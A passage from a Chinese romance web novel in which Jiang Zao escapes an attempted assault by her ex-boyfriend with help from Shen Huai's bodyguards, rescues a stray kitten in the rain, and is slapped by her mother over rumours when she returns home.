姜早静了一会儿,半响嗯了一声,望向窗外。
窗外渐渐有了车流,应该是到了下班的点。
下车后,她走到小区楼下,仰头看向她租住的地方,阳台的窗户是关上的。她那位室友有一个习惯,回家之后会把窗
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户开了,通风。
眼下没开,就是不在。
她安心下来,走上楼梯。
拿钥匙进了房,环视周围一圈,周围熟悉的一切在这两天也有所改变。比如沙发上随手摆放的内衣,以及奇怪的香薰味道。
她没兴趣再看,去了自己的房间。
她的东西不多,收拾起来快,因为顾及一会儿他们要回来,所以她胡塞了一通,很快就收拾完了。两个行李箱,一个麻袋。
她气喘吁吁的坐下,看了一眼时间,已经过去半小时了。她没再多休息,站起来提着第一个行李箱出去。住的地方在五楼,提着大行李箱下楼梯不好走,姜早需要一步一提往下走,轮子还会和台阶不断磕碰,发出刺耳的声音。
她担心这样下去来不及,不由得加快了速度,转身时胳膊磕到扶手,她感到一阵刺痛,手一松。行李箱顿时脱了力,朝楼下滚去,本就塞得慢慢的行李箱,一下子弹开,零零碎碎的东西从行李箱里掉出来,撒了一地。
姜早手下意识抓着磕到的胳膊,听到声音眼神又立马看向凌乱的楼梯。她面无表情的看着这一幕,甚至连叹气都忘了,一种巨大的无力感近乎将她吞噬。
傍晚的风从窗口吹进来,带着微微的雨水的潮湿气味,枫叶摇摇晃晃着落下来,落到窗台上。
走廊里静默了一会儿,楼梯才传来响动。
姜早蹲在台阶上,一个一个拾起来放回行李箱,收拾完了,托着坏的行李箱下楼。
这一趟运完,她又上去拿第二趟,她有了经验,走得路上慢了一些,总算没再发生什么意外。全部运完后,只剩下放了被子的袋子。
她拎着最后一个袋子,正准备开门。
门突然从外面打开了,迟言愣在原地,他手里还拿着盖了印章的请假单。
姜早眼神从他身上挪开:“麻烦让一下。”
啪嗒一声,门被关上反锁。
姜早错愕的看向他,不明所以。
迟言反应过来,意味深长道:“这就让你走了,我这几年就太亏了呀。”
门口的过道很窄,他一步步的逼近,姜早一步步往后退,很快就脱离了门口的区域。姜早有些不安道:“你要做什么?”
迟言插兜站在原地,闲散道:“当然是做一些你擅长的事情。”说完,他意有所指将目光从下往上在姜早身上刮了一遍。
姜早朝他甩过一个枕头,被他稳稳抓住。
“你混蛋,迟言。”那目光是贪婪的,她不可能听不懂迟言的话。
迟言看了一眼手里的枕头,将它抛回沙发上,像狩猎者对准猎物一样,慢慢将她逼近自己的捕食区域。他有些不满她的反应,眼神不禁带了一点凶狠:“早早你会不会对我太坏了,谈了这么久,连手都不让我签,却可以和陌生人去干那种事。早早,我可以比他们给的更多的。”
姜早慌张的拿出手机,她记得通讯录第一个人是木奈奈,颤抖的手还没看清名字就赶紧按了下去,电话很快接通,传来的声音是一道男声。
姜早愣了愣,回神看了一眼屏幕,这串号码还没有编辑名字。
她想起沈淮前两天说过,在手机里存了号码,这个电话是沈淮的。
迟言愈加逼近,她顾不得其他,慌张道:“我遇到一点麻烦,你能不能...”
还没等她说完,手机就被迟言拿走甩在了地上。
飞机播报航班号的声音在整个候机厅响起。
正要登机的沈淮手握着手机,在原地停下来。
“怎么了,小沈总?”走在旁边的特助回过头问。
沈淮看了一眼来电显示:“没事。”
9. 第 9 章
她从沙发上滚落,浑身疼的近乎蜷缩,看到那张脸愈加放大,她随手拿起桌上的铁盒朝他砸过去。
迟言被铁盒砸到了手,眼神变得更为凶狠起来,似要将她生吞活剥一样。
姜早不敢去看他的目光,争取到的这一点时间,她颇为狼狈的从地上爬起来,一边回头一边往门口跑。
正在她要握住门把手时,迟言的手强硬的将她拽回来,将她双手抵住按在墙上。
“原来你喜欢玩这种?”迟言任由她的手挣扎,语气仍然平静,勾唇时带了几丝痞气。他凑到姜早耳边,轻轻道,“我等的够久了,这回我不想等了。”
曾几何时,他以为捧在手里的是天上皎洁的月亮,能从这么多人里面脱颖而出成为她的男朋友,已经是荣光。她很忙,他心甘情愿的等,等啊等,等了好久还是等不到他们的进一步。试问,哪一个男人能忍这么久呢?
那温热的气息吐在姜早耳边,让她害怕的浑身发颤,她歪过头避开他急切的吻,骂道:“你还是不是人,一会儿你女朋友就回来了。”
她以为说的话,会让迟言有所收敛,却不然。他的胸口抵住她,语气似乎更加兴奋:“那样才刺激不是吗?况且,我可以说是你勾引我的。”
一种荒唐感冲刺着姜早的神经,她不断的挣扎,但先天男人和女人的体力差距,让她在他的身下更像是撒娇,手越发的被拴紧。
门口被敲了两下,姜早试图朝外面喊,刚要开口就被迟言的嘴堵住,她屈辱的往他嘴上咬上去。迟言嘶了一声,往后退了一步。趁着这个间隙,姜早就要往旁边跑,还以为得到了一丝生机,慌不择路的往旁边跑,踢到什么脚踝一通猛地往前跌过去,狼狈不堪。
迟言不管敲门声,只是看着她笑,又朝她走过来。如果说捧在手上的月亮是神圣的,那现在这个可怜楚楚的女人就是圣物,让人欲罢不能。
姜早扶着地,不断的往后退,哭过的眼睛狠狠瞪着他:“你别过来!迟言,你理智一点。”她这才明白,他刚刚锁门,是早就想到了外面会有人进来,你所以从里面把门锁了。
迟言笑盈盈的看她,眼神如狼一般狠毒。
正在他要拽起姜早时,门突然从外面踹进来。几个黑衣保镖涌进来,把迟言三两下按在地上。为首的男人想伸手将姜早扶起来,走近她时,却发现她十分畏惧,就不再向前,站在原地问道:“你是姜小姐吧?有人派我们来保护你。”
迟言还在发愣,等到他反应过来的时候,厉呵:“干什么!你们知道我爸是谁吗?敢这么对我!”他还要再说,一道劈掌落在他脑后,两眼一黑,昏了过去。
姜早抓起手机,按下报警键,她的自尊不允许自己放过这个人。
黄昏早就悄然染成墨色,路灯排排亮起,街边的大小灯牌发出各色的光,黑色的车在车流里不停穿梭。
姜早打开出租车的车窗,任凭风吹过耳畔,扬起她两边的碎发。
清醒多了,她想。
配合民警做笔录,不知不觉就到了八点。好在打到了车,不然她托着这么多行李,不太好回新家。
她拿出手机,将迟言进审讯室的照片匿名发了个帖子,没有标题。她料定迟言出来之后一定不敢说他做了什么,这张照片足以让他的好形象全部摧毁,他也只能吃下这个暗亏。
室友绞尽脑汁抢来的人,也不过就是个社会败类罢了。这样一双人,倒也是般配。也不知道室友知道这个帖子之后,会有多么气急败坏。
马上,就有人跟帖。配图是一张室友上飞机的照片,那人说:富二代果然都不怎么样,还好我们清雅美女早就看清分手了,现在已经去休斯顿的飞机上了,人家早就美美搞事业去了,大家可以去看市文化馆的图推,封面就是我们清雅美女,代表我们市青年队去参与国外大培训去了。
底下评论将“美女清醒”这四个字刷屏了。还有人说她从小练习舞蹈,十四岁就考入顶尖舞团,二十就已经开始打比赛拿奖,是名副其实的多才多艺大美女。甚至有人将她社交媒体贴了出来,让大家都去关注她。
看到这里,姜早眼中泛起冷意。别人可能不知道,她是知道的,如果不是自己退出舞团,哪有她的出头之日。
她收回思绪,看向那个最先发帖的帖子。这个id,她见过,就是她室友本人。这还是她在客厅不小心拿错手机看到的,当时手机亮着屏,显示的就是这个id。
这发言事不关己,还借此抬高自己,看来室友根本不喜欢迟言。一开始刻意去接近,恐怕也只是因为迟言能给她休斯顿顶尖计划的名额。
从某种角度来说,那些人说的也对。她确实,很清醒。
她点开通话记录,目光落在最上面的通话记录上。这群人是沈淮喊来的,可沈淮是怎么知道他住哪里的呢?自己明明还没来得及说位置。
她点开短信,想要编辑,删删改改,最后只留下两个字发出去。
谢谢。
不管他怎么知道自己住在这里,都是他救了自己。下次再见的时候,当面问问就好,反正她也要亲自道谢的。
次日,她难得和老师请了一天假。
天空很晴,她仰头看着罗马建筑的大门,有些望而却步。一阵风扬起,她转身欲走,望着手里的饼干盒,她又停下来。
她不会做饼干,但她觉得自己做的东西表示感谢,会比较有心意,也不会很俗气。专门去超市买了烤箱和食材,花了半天时间钻研怎么制作。失败了好多好多次,才做出这三盒成功品。
她本来没有不请自来的意思,只是给沈淮打电话都是忙音。
好在昨晚在机构,小苹果妈妈说她们这个月都闲在家,上私教随时联系她。她只能借给小苹果上私教的名头,到这里来。
只是临到门口,她又有点不敢去面对了。他听到多少呢?那个电话是什么时候挂断的呢?要和他解释吗?她显然还没想好这些该怎么去回答。想到这,她萌生的退意滋长,想当一回缩头乌龟。
身后突然传来一道年迈的声音,和蔼道:“哎?小姜老师对吧?夫人等你一会儿了,赶紧去吧。”
姜早回神过来,对啊自己今天的借口是给小苹果上课,不能放小苹果的鸽子。
保安说怕她迷路,一路站在她前面带她进去。这里真的很大,各种各样的花将路装饰的像花园,其中不乏几个珍贵的品种,她在书里才见过。
她像是个闯入者,和这里,很不搭。
他那份工作这么赚钱,倘若她答应结婚,他结婚之后会放弃这份工作吗?也许不会吧。
一走进别墅,富丽堂皇的客厅里,一个可爱的脑袋探出来,蹦蹦跳跳的朝她跑过来。
甜甜的一嗓子:“姜姜老师~”
姜早俯身揽住她,小孩儿的肉是软软的,很舒服。
她道:“昨天的动作复习过了没有啊。”
一旁走过来的小苹果妈妈满脸嫌弃,道:“我可没看到她复习,一直在看动画片。”
小苹果从姜早身上下来,像是心事被戳破,十分不满,撅着小嘴道:“妈妈!”
苹果妈妈叉腰,眯眼道:“对老师要诚实,不然你想回答什么?”
不得不说,小苹果妈妈保养的很好,神情都很生动,连穿衣着装都和年轻人相像。不像是有那么大一个儿子的人,也不怪姜早之前误会。
小苹果自知理亏,眼睛一斜,开始转移两人的注意力。她指着姜早手里的盒子,好奇道:“姜姜老师,这是什么呀?”
要不怎么说人小鬼大呢,姜早这么一来还真没打算接着问她。
“是曲奇饼干哦,一会儿上课表现好就奖励给你好不好?”
年龄阶段小的孩子,利用鼓励式教育的效果会更好,她惯会用这些方法。果不其然,下一秒小苹果跳起来:“好!”她眼巴巴的望着盒子,问道:“这是姜姜老师自己做的吗?”
姜早有些不好意思,但面上不显:“是啊,老师花了好久时间做的,如果你一会儿练的不好,老师会伤心的哦。”
小苹果认真的点点头,没了刚刚那么马虎的劲儿。
小苹果妈妈哇了一声,惊叹道:“小姜老师太厉害了,还会做饼干哎!”
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姜早脸上微微泛起红意,说:“刚学没多久,你们不要嫌弃不好吃就行。”
小苹果妈妈看着饼干盒,格外感慨:“可惜我儿子没这口福,竟然挑这两天去出差,没口福喽。”
原来沈淮不在。姜早抬眸,正对上小苹果妈妈的目光,她想问沈淮去哪了,张嘴时变成了:“我先带小苹果去上课。”
姜早把饼干盒都递给小苹果妈妈,自己带着小苹果先去上课。小苹果有了奖励机制辅助后,课堂里的状态很好,注意力也很集中,做出来的动作特别标准。
小苹果妈妈拍了好几个自家闺女的照片,动作好是好就是拍的不对味,和网上那些宝妈晒出来的不一样。
姜早注意到小苹果妈妈对着手机犯难,上前辅助了几下,小苹果妈妈顿时豁然开朗,两个热课后开始探讨起拍照方法来。
姜早经常拍舞蹈基本功的照片,知道一些动作从哪个角度拍出来好看,所以教起小苹果妈妈来得心应手。小苹果妈妈非要留她吃晚饭,她借口说晚上要回机构上课便拒绝了晚饭。
虽然说和小苹果妈妈相处很愉快,但她和小苹果妈妈之间沾染一定利益关系。
她没办法放平常心去和她们吃饭,那段吃饭时间于她而言,也是一种社交和特殊的工作。
接近傍晚,太阳被云层盖住,将天空分为三种颜色,晕染下来是橙红色的。
姜早发现打车来这里简单,在这里打车出去却有些麻烦。打车的软件上,站了十分钟都打不到车。
门口的保镖收起手里的电话,说司机去取车了,要送她回家。
姜早立刻说就在刚刚,她已经打到车了,就是要走一段出去,司机有点找不到方向。说完,也不管人家相不相信,道了两声谢就走了。
秋天的风说冷也不冷,伴着风的沙沙声,这趟路不算太难走。
她按着导航走,再走五公里就到市区,估计到那就好打车了吧。五公里,也不难走。
树叶沙沙作响,姜早的鼻尖落下一滴雨。她仰头,一块巨大的乌云在上面,也正在这时,雨势变大,变成了暴雨。
这场雨似下到她心里,勾起她最近的回忆。她低头苦笑,好像最近总是这么倒霉。
路的两边,有一些可以遮挡雨的树木,但是她没办法停下来。
晚上上班的时间,由不得她停下来躲雨。
不想把手机弄湿了,里面有很多工作信息,换个手机也挺贵的。自己今天穿的衣服挺厚,手机藏在里面,淋不到雨,不幸中的万幸。
路过一个坑,没留意,绊倒了。手机还是湿了,全身也湿了个透彻,全世界的雨在这时候都砸在了身上。
她难得有了一种想要接着躺的感觉,只是,时间由不得她有这种多余的举动。手机被小心拿起检查,发现还能亮屏,继续藏进衣服里。
也许该庆幸,手机没坏,也庆幸刚刚路上没有赶路的司机。
暴雨中,一阵阵猫叫伴着雨声穿透出来,明明是微弱的声音,姜早还是听到了。
她朝那个方向看过去。
一小团白色的东西从树丛爬出来,她浑身的毛都顺着雨的痕迹紧贴住了身体,用一种游泳的姿势困难的在雨中匍匐前行。
它在爬向她。
姜早在她身边蹲下,小奶猫像是找到了临时避雨的地方,安心的蹭了蹭她的大腿。
她眸子轻轻落到它淋湿的毛发身上,静静地看了一会儿。
雷声伴着雨声一起在这周遭响起,这里出奇的静。
一滴泪顺着脸庞划过,姜早轻轻一笑,破碎又绝望,凄惨又悲凉。她轻抚着小猫的毛发,一下一下,一下一下。
眼泪抑制不住的流淌,她小声嘀咕了一句。
“怎么办啊,我也没带伞。”
她今天应该带伞的,怎么会没把伞带出来呢?这么大雨,她应该看天气预报的,应该带伞的。
一道黑影盖下,身上突然没有雨砸下来。
姜早模糊的视线慢吞吞的抬上去。
沈淮一身黑色西装,举着伞,浑身泛着冷意。
10. 第 10 章
“怎么在这。”他说。
姜早红着眼:“我碰巧路过。”
说完她才反应过来,这地方连车都打不到,是一个很偏僻的地方,路过这里其实很奇怪。但她说都说了,不管相不相信,这就是她来这的理由了。
沈淮看着她。
她眼睛泛红,鼻尖也晕染了红色。本来就生的极为好看,现在这副模样虽然狼狈不堪,却也美的惊人,不由自主的能升起几分保护欲。偏还试图伪装起这副脆弱,倔强的抬头与他对视,装出平静的模样。可当那眼皮真正向上抬起,眼眶里汇聚的水盈泛着波光,一切昭然若揭。
并没有人出声,时间好像就静在这一刻。直到一声猫叫在耳畔轻轻响起,那神色才有几分松动。
小猫愉悦的往她的脚边缩了缩,小脚踩着,在水泥地上盘起来,缩成一团,似是感觉到安全了,要开始睡觉。
她眼神落下去,眼神里那副倔强柔软下去:“这雨太大了,这附近没有躲雨的地方,你方不方便把猫带回去?”说这句话的时候,本来就没有抱太大期望,可以退而求其次,请求把伞借给她。
结果头顶传来一句:“可以。”
姜早心上一喜,张手就要把猫抱起来。不料,它似是十分不安自己的悬空的状态,惊恐的挥动着四只爪牙,慌乱间锋利的爪牙划过白皙的手腕。
她嘶了一声。
小猫顺势从手中落到地上。
姜早顾不得手上的伤痕,赶紧蹲下身。奶猫本来身体就软,这么摔也不知道会不会摔坏,小心翼翼的检查了一番,确认没问题才放心下来。
抬头就见,沈淮的伞被司机接过,正用纸巾擦着衣服上的泥渍。那泥渍,看样子是猫刚刚挣扎的时候,不小心弹上去的。
原来他有洁癖。
姜早重新抱起猫,好在这次猫没有反抗:“它胆子有点小,还是我带走吧。你,你把伞借给我,我下次再把伞还你,行不行。”
沈淮视线落在她手腕上。
姜早见他仍旧不回话,倔强的劲头便上来了,道:“不借也没关系,我先带它去躲一会儿雨。”
树可以给人躲雨,她可以给猫躲雨,也不一定要求人。
她正要转身,一只手突的抓住她的手腕。
“先去医院。”
她看了一眼手腕上的抓痕,不是很深,也没有出血:“没关系的,我以前经常被抓。”
姜早拧手腕,试图挣脱他的束缚。
沈淮看手腕上起的一圈红,渐渐松了力气:“作为苹果的老师,还是去看一下吧,不然她妈妈不会放心让你接近的。”
姜早抬头看他,淡淡的眸子,看不出去情绪。
原来是这样,以防万一,去打一个也好。
姜早点头,蹲下捧起地上的猫,这回猫没有反抗:“哦,那可以带上它吗?”
暴雨下,两人对立。清风扬起她两边碎发,那双眼眶仍旧湿漉漉的,就那么倔强的仰头,好似不答应的话,下一秒就会固执的离开。
沈淮静了一会儿,道:“嗯。”
...
她不喜欢医院的气味,更害怕打针,偏小时候经常生病,经常被爸妈拖来医院打针。因为身边有人,她一直强撑着,不想流露出一点害怕,直到那狂犬疫苗又细又长的针扎进胳膊,她忍不住闭眼偏头,脸皱起来。
这和之前打的针不一样,这更疼。
打完针,医生递过来一张纸,面无表情的说,过几天再来打第二针。
姜早用手按着棉球,底下的伤口还在泛着疼意,闻言猛地抬头,小心翼翼朝问:“一共要打几针啊?”
医生撇了一眼,随口道:“一共四针。”
“哦哦...”她从椅子上默默起来,走到旁边休息的椅子上,医生说要等一会再走,看不良反应。
沈淮拿着缴费单进来,一眼就看到坐在角落里的她,一个人盯着地上黯然神伤,不知道在想什么。
走近时,姜早抬头。
“猫呢?”
沈淮道:“刚打完针,在宠物店休息。”
姜早起身:“我去接它。”
沈淮在他身边坐下,淡淡道:“不急,猫刚打完针,要休息。”
姜早微愣,一时分不清他这句话是对谁说的。猫,还是自己。
她不想这种细微的情绪被他捕捉到,便偏过头开始看窗外的风景。
他没有提起昨天的事,好像昨晚那件事,根本没有发生过一样。
窗外的吹来的风是和暖的,混着医院一股淡淡的药味,耳边仍旧是不断响起的电子播报声。姜早的声音就这么轻轻柔柔的响起:“昨天,谢谢。”
沈淮低低的嗯了一声,头轻轻的靠到墙上,闭眼休息。
阳光洒在这张脸上,半张脸都沾了暖橘色的光。
姜早视线落在那抹光上,那人很平静,也没有任何疑问问起。也对,他们本来就是陌生人。
不知过了多久,沈淮的电话铃响了。他睨了一眼正在休息的姜早,走到了阳台才接起电话。
电话里的语气略显急切:“喂!小沈总!一级警报!听路易斯说家里有外敌入侵,你近两天千万别回家!”
沈淮背靠着窗,仰头看着天花板。
即使没有听到他的回答,电话里的声音还在继续,喋喋不休。
还未等到电话里的人说话,沈淮就暗灭了电话。
他双手插兜,静静的望着里面。
排椅上,她闭着眼,头歪歪斜斜,似是打着瞌睡。半抹光恰照在她的发丝上,像是在发光。
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他走近时,那睡迷糊的头马上就要往旁边倒下去。他下意识伸手,托住要落空的脑袋。
女孩的皮肤如婴儿般软,像是托着棉花。
姜早睫毛轻颤,朦胧的睁开眼。视线中沈淮将手默不作声的收回背后,眼神未见不自然。
姜早揉了揉眼睛,抱歉道:“不好意思,耽误你时间了。走吧,我们去接猫。”
...
因为还没到高峰时间段,所以车畅通无阻,他们很快就到宠物店接到了猫。
宠物店老板耐心地说,猫后续要怎么照顾。
这时候,沈淮冷冰冰的说了一句,这是流浪猫,后续不管了。
姜早看宠物店老板黑下来的脸,忙道猫本来是流浪猫,后续自己要养,让她接着说。
宠物店老板脸色好了一点,接着讲起来。临走前还偷偷跟姜早说,她男朋友太冷血,不适合谈恋爱。
姜早替他解释了两句,但宠物店老板信不信就说不准了。
姜早拎上航空箱,想要付钱,一问才知道沈淮已经付过钱了。
转身想找拿到身影,没找到,走过货架才看到,他不知道什么时候已经站到了门外。
沈淮手握着电话,拧眉神色不悦,边打电话边进了车门,透着青筋的拽上车门,噌的一声,车发动从宠物店外飞驰而过。
似乎毫无等她的意思。
姜早站在原地僵了僵。
应该是有什么急事吧,她想。
她低头拿出打车软件,还好这是市区,打车也方便。在这大名鼎鼎的京城里,明明只有三公里的路程,要收四五十的路费,老家只要十几块就够了。
她轻叹了口气,按下打车按钮,走到门口发现刚刚车上的司机大哥,正站在一边打电话。想了想,还是不打照面的好,免得尴尬,抬步走到了另一边等车。
还差三分钟,等起来也不是很麻烦。
她打开手机找到妈妈的聊天框。
编辑了一大串文字,又删掉,来来回回了几次,最终还是发了出去。
目前看来,沈淮不坏。两个人领证之后各过各的,也不是不行。反正自从读研开始,妈妈一直催着赶紧找对象结婚,有这个契机,也好。
马上,那边就回信息过来,说让她立马回家一趟。
姜早回了个晚上要上班,结果妈妈执拗的说要让她回去一趟。姜早推脱了几次还是没成功,只能和领导请假。也好,可以回去拿户口本,总要拿的。
她折回宠物店,给猫办理了两天寄养。
再出来时,一辆跑车飞驰过来,在她面前停下,发出极大的刹车声音。
姜早蹙眉不明所以,下一秒车窗慢慢降下来。
迟言手搂这一个身材火辣的美女,朝她挑眉。
11. 第 11 章
迟言昨天才被关进去,按理说不会这么快放出来才对,审讯的警察也再三保证过。
不过,也没多意外。
迟言一直吹嘘自己的身份,大抵是上面有人保他。
姜早偏过身,往旁站了几步,没打算理他。
这辆车就这么停在大马路上,一会儿交警会来赶的。
“这么巧啊,去哪里,要不要搭你一程。”迟言的声音慢慢悠悠的从车里传出来。
姜早淡淡道:“不用。”
迟言手搭在车窗上:“早早,你说你这又是何必?你真以为这点小伎俩就能报复我?可惜啊,不能如你愿了,有的是人往我身上贴,还得感谢你给我炒炒热度了,现在我也算是学校风云人物。”
在这个世界上,有一样东西能改变人的三观,那就是钱。
钱是流通世界的货币,更是一张人人需要的通行证。对于他而言,标上了纨绔子弟的名号又怎么样呢?有的是人不想努力,在他底下和狗一样承欢。
姜早往后退了两步,拿起手机看了看。
车显示在十字路口,一个红色的圆圈上正在倒数20秒,这红绿灯时间真够长的。
迟言以为她听进去了,接着道:“早早,我还是喜欢你的,你要是愿意,我现在就可以让旁边那个女人下车,我们就像什么都没发生一样,我也不嫌弃你。”
旁边女人娇羞的打了他一下,脸上半分没有生气的模样,反而是一种争宠般的谄媚。
姜早蹙眉:“没兴趣。”
一辆黑色迈巴赫穿过街道,在对面车道的停车位停下。站在另一边的司机刚打完电话,不知道这边发生什么情况,也没感觉气氛怪异,走到姜早身边就道:“姜小姐,沈总公司有事先回去了,让我带您回家,您好了的话,我们就可以出发了,车在对面。”
姜早怀疑自己没听清,又确认了一遍问道:“沈总?”
司机道:“嗯,沈总吩咐,让我安全送您回家。”
姜早心疑是司机想给自己面子说的,便没有再问。恰好也有一些事想要问,既然问不到沈淮,问沈淮身边的司机也不错,起码不会那么尴尬了。
上车后,姜早默默取消打车的订单。心中祈祷,那位司机不会生气。
...
迟言抓着方向盘的手微紧,眼睛不自觉往前伸了伸,要把那车屁股上的标看出个洞来。
他去过不少车展,这辆迈巴赫,不可能流入市场,这辆车的主人不是什么普通人。
真让姜早抱上大腿了?
一旁红唇的女伴扒着窗户看,眼睛看的都要冒光:“呀,迟少爷,看来你的前女友有比你更好的归宿了啊~”
她越是这么说,迟言的心中越是窝火,可面上不显,只是冷笑道:“四五十岁的糟老头,和二十几岁的我,你喜欢哪一款,嗯?”
女伴凑上前,用红唇覆盖他的唇瓣,啵了一下,笑道:“你说呢?迟少爷。”
迟言轻哼了一声,掏出手机将姜早上车的照片拍了下来。
发帖而已,谁不会呢?
刚停稳车的出租车司机看了一眼手机,一掌拍在方向盘上:“靠了。”
他无意中侧眸,看到旁边的车,笑了声:“艾玛,这跑车不错。”再侧头,从后视镜看到一辆飞驰而过的黑色迈巴赫,一巴掌拍在方向盘上,头往前蛄蛹:“艾玛,顶配啊,这京城就是神人多啊!这一趟开的不亏,见世面了!”
...
姜早并没有一上车就提问,而是想听听司机会不会先开口问,去哪里。直到看到车窗外愈来愈熟悉的风景,才确定现在开的这条路,就是回新租房子的方向。
她忍不住问:“我不记得我说过我家在哪,您怎么知道方向?”
司机笑了笑道:“早在您作为小小姐的老师时,您所有的身份信息就都被我们查过了。我作为司机,对您家的地址多留意了几分,因为早晚要接送的,您别建议。”
姜早蹙眉,不太喜欢这种被调查的感觉。
司机撇了一眼后视镜,解释道:“您也别多想,老爷子上面管得严,所有接触小小姐的人都会被调查一遍的,不单单是您一个人,也是为了安全嘛。”
姜早嗯了一声。
虽然这样做让她不适,但那天她侥幸在迟言底下逃脱,也得益于此。
“能帮我送到附近高铁站吗?”姜早说。
司机放缓了车速,问道:“沈小姐是有什么事吗?”
姜早点头,望向窗外:“嗯,我妈让我回去一趟。”
她回家不远,坐高铁一个小时就到家了。因为平时太忙,几乎很少回家。也不知道她提出要户口本,爸妈会有什么态度。如果不提沈淮的职业,应该能糊弄过去吧。
想着想着她望向窗外的眼神不禁不安起来。
也不一定。
恰好手机电话打进来,姜早看了一眼联系人,盯了一会才接起来。
“喂,妈。”
“你和那个男的一起过来。”
“他有事来不了。”
“管他来不来得了,必须得来。”
电话被挂断,姜早看着通讯页面,蹙眉,她明显感觉到妈妈的语气不太好。
司机正在等红绿灯,听完默默地点开通讯录噼里啪啦打了一串字发过去。
绿灯,手机放下,车通行。
高铁站没什么人,买完票十分钟后就坐上了车。
她喜欢坐在靠窗的位置,那样能看看窗外的风景。
小时候往窗外看的时候,眼睛经常喜欢乱瞟,总觉得什么都很新奇,一趟车眼睛扑闪扑闪着就过去了。
当时很羡慕大人可以盯住一个地方很久都不动,觉得他们很厉害。现在忽而明白了,长时间视线不挪动,不是大人经久锻炼的本领,而是他们经久社会磨砺后的麻木和茫然。
故乡是熟悉的,她漫步在走过无数遍的路上,耳畔吹来风,也吹来无数的记忆。当初的意气风发踌躇满志,最后不过是固定轨道按部就班。
她家在镇上,坐了两趟公交车,又走了一公里的路才能到。
接近傍晚,灯火通明。
她家因为是拆迁房,所以是独栋,从门外的灯光就知道她的爸妈现在在做什么。
现在一楼客厅灯亮着,大约是在等他们回来吃饭。
姜早攥衣服的手紧了紧,有些紧张了。
她妈妈的性格她知道,电话里那个语气,就是一定要让他们两个一块来的意思,如果一个人来,妈妈估计要勃然大怒。
她压根没打算让沈淮过来,觉得自己能处理好这件事。
与其带着沈淮这个不确定因素,不如自己来解释,好掌控感很多。
门口的大黄摇着尾巴出来,看到门口有人,汪了两声。嗅到熟悉的气味,才摇尾巴。
姜早走过去,弯腰摸了摸它的脑袋,也难为它这个小脑袋记这么久。走到门口,刚要敲门,还没等手落下,门突然从里面开了。
姜早嘴角的笑还没提起,一个巴掌就落下来,脸上一阵火辣辣的感觉。
一时间,她脑海里想的所有开场白都消失了,只浮出三个字,为什么?
印象中,妈妈经常骂她,可从没有打过她。
“我怎么养了你这么不检点的女儿?”姜妈脸上怒气愈演愈烈,两个眼球瞪的似乎要冲出来。
姜早这才慢慢抬头,慢吞吞的开口:“妈?”
姜妈朝后面看了一眼,气道:“那个男人没来?你随随便便找个男人,怎么还找的这么一个没有担当的男人?”
姜妈见她不应,以为心虚,接着道:“要不是隔壁栋王妈,昨天和她女儿打电话,无意中聊起你,我们还蒙在鼓里,以为你真的在好好读书才拒绝我们这么多次给你找相亲对象,结果呢?!我们花这么多钱供你学艺术,你去勾引老男人?去卖?现在你还要跟一个老男人结婚?你让我和你爸的颜面往哪里搁?”
这段话在姜早的脑袋里炸开。
一股前所未有的荒唐充斥在脑海里,四肢百骸都动弹不得。她从没有想过那些谣言会传到父母的耳朵里,也没想过仅凭一个谣言,就让妈打下这击巴掌。
她从小就是三好学生,假期三步不离家,一个学习的方桌,装满了整个童年的在家生活,从未逾举。没想到,这么多年留下的好印象,还比不上一则空穴来风的谣言。
也对,也对。
他们一向听风就是雨,不然自己的童年也不可能夹在条条框框中,小心翼翼着度过。
颜面。
又是颜面。
她十几年的学校生活,为的好像不是自己,一直是他们的颜面。只有考试拿了第一,期末拿了奖状,才会让他们有颜面,才会让他们能够在街坊领居中借此标榜自己。
为什么不能只是女儿而已呢。
她在恍惚中,眼泪早就占据了泪眶,不多时就一滴一滴落下来。
好像总是这样,每回与妈妈起争执,总会不争气的掉眼泪,让谈话的局面一下子就落了下风。
“事情不是你想的这样,不能好好说嘛?我可以解释。”姜早说。
她的声音带着颤意,藏在袖子里的手指掐进手心里,试图让自己平静下来。
“解释什么?人家照片都发出来了,我这双眼睛难道认不出我的亲生女儿吗?”
姜早恍惚了一瞬,记忆中那个指着她脑门,怪她没有拿到第一名的母亲,与现在的画面竟相重叠。
一如往昔,用那种强硬的态度,将她逼得喘不过气。
小狗看不懂气氛,还在热烈的欢迎着久久不来的小主人,贴在她脚边,不时用爪子扒拉裤脚。
姜早的视线轻轻落下,泪水轻垂:“你为什么不能听我好好说呢?”
姜妈冷
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笑了一声:“和你没什么好说的,你现在就跟那个男的说一声,你们别来往了,我们不同意,还有就是。
你研究生不要再读下去了,之前你哭着闹着要学艺术,说去哪里哪里比赛,上了哪个哪个舞团,现在呢?还不是一点消息也没有了。
我们早说了,艺术是有钱人学的,我们这种穷苦家庭学什么艺术,你还想在这方面深造,有什么好深造的,出来还是小培训机构的老师,你现在也能当,浪费这些时间做什么,反正有本科的学历也够在这边找个工作了。
你今天回来就不要走了,明天我给你安排个相亲,这两天都安定下来。”
一滴泪落到大黄脑袋上,大黄不明其意,许是以为要下雨了,摇摇晃晃着尾巴,往家里走了。
姜早苍白的脸轻轻抬起:“妈,我是人,我有自己的思想,自己的选择,跳舞是唯一让我觉得发光的专业。我很喜欢,我不会放弃学业的。”她顿了顿,“你就当放过我,别管我了行不行。”
姜爸端着菜到门口,用肩膀提醒了一下妈妈,打圆场道:“先吃饭,先吃饭,早早估计路上都没吃饭,让她先吃饭。”
姜妈哪里管这句话,她平生很少听到女儿忤逆自己,只觉得她脱离自己掌控久了,翅膀硬,气的用手指戳着她的胸口:“不管你?我不管你还有谁管你?你不是小孩了,能不能别那么幼稚,你喜欢管什么用,成不了你谋生的工具,一切都是白搭,浪费时间。”
姜爸顺着话道:“妈妈这么做都是为了你好。”
“为我好,又是为我好。”姜早低头苦笑,慢慢抬手,抹掉脸上的泪,转身道,“看来今天我不应该回来,我先走了。”
“你走去哪里?你哪里都不准去!”妈妈的声音在身后响起。
一个瓷器在她身边划过,在脚前摔个稀碎。她停下来,愣愣地看着地上,已经散落的面。
“哎,这是干嘛?孩子难得回来一趟,你就不能好好说吗?”
“你在这装什么老好人,不是你最先说要给你姑娘好好上上课的吗?现在她回来了,你又一声不吭,全成我唱戏了。”
“我是说要和孩子讨论讨论,没说让你上来就给人劈头盖脸一顿骂啊,做人得讲道理不是吗?”
“你说我不讲道理?我现在就是不讲道理怎么了?供她读书是盼着她成龙成凤的,她现在给我做那些个勾当,我怎么讲道理,我讲不了道理。”
“再怎么样都是我们孩子,你这么说做什么啊!”
藏在袖中的手骤然一松,她仰头望天,自嘲一笑。
